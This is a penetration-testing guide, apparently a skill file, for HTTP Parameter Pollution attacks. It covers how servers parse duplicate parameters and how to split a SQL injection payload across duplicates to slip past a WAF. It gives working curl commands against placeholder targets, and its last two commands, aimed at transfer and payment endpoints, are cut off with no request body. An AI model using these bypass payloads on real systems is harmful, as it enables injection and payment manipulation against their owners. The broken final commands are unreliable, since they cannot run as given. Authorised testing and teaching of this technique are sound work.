performing-http-parameter-pollution-attack

name	performing-http-parameter-pollution-attack
description	Executes HTTP Parameter Pollution attacks that inject duplicate request parameters to bypass input validation, WAF rules, and other security controls when front-end and back-end systems parse duplicate parameters differently. Use during web application penetration testing to test for parameter parsing inconsistencies or WAF/validation bypass.
domain	cybersecurity
subdomain	web-application-security
tags	["http-parameter-pollution","hpp","waf-bypass","input-validation","web-security","parameter-injection","server-parsing"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Performing HTTP Parameter Pollution Attack

When to Use

• When testing web applications for input validation bypass vulnerabilities
• During WAF evasion testing to split attack payloads across duplicate parameters
• When assessing how different technology stacks handle duplicate HTTP parameters
• During API security testing to identify parameter precedence issues
• When testing OAuth or payment processing flows for parameter manipulation

Prerequisites

• Burp Suite Professional with Intruder and Repeater modules
• Understanding of HTTP protocol and query string parsing
• Knowledge of server-side parameter handling differences (first, last, array, concatenated)
• cURL or httpie for manual parameter crafting
• Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Parameter Handling Behavior

# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value

curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response

# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
  -d "amount=100&amount=1"

Step 2 — Perform Server-Side HPP

# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1"  # Blocked by WAF

# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"  


curl -X POST http://target.com/transfer \
  -d 


curl -X POST http://target.com/api/payment \
  -d